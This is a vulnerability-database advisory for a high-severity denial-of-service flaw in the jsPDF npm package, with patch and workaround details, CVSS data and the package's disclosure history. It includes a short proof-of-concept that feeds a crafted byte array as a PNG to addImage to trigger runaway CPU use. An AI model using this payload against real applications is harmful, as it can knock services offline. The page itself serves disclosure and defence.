High

jsPDF Denial of Service (DoS)

  • Disclosed: 26.08.2025
  • Updated: 11.10.2026 10:22

Impact

User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service.

Other affected methods are: html.

Example payload:

js
import { jsPDF } from "jspdf" 

const payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154])

const doc = new jsPDF();
const startTime = performance.now();
try {
  doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} finally {
  const endTime = performance.now();
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`);
}

Patches

The vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@>=3.0.2.

In jspdf@>=3.0.2, invalid PNG files throw an Error instead of causing very long running loops.

Workarounds

Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.

Credits

Researcher: Aleksey Solovev (Positive Technologies)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package jspdf < 3.0.2 3.0.2

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-20, CWE-835
Platform
npm
Package
jspdf
Disclosed
26.08.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-8mvj-3j78-4qmw - CC BY 4.0

Vulnerability history: jspdf

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (15) in the archive
Total entries
15
First → latest
03.2021 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 9
  • Medium 4

Disclosures per year

  1. 2021: 3
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 2
  6. 2026: 10
Severity:
  1. Critical · 9.6 CVE-2026-31938 < 4.2.1 4.2.1
  2. High · 8.1 CVE-2026-31898 < 4.2.1 4.2.1
  3. Critical CVE-2025-68428 < 4.0.0 4.0.0
  4. jsPDF Denial of Service (DoS) this entry
    High · 7.5 CVE-2025-57810 < 3.0.2 3.0.2
  5. High · 7.5 CVE-2021-23353 < 2.3.1 2.3.1

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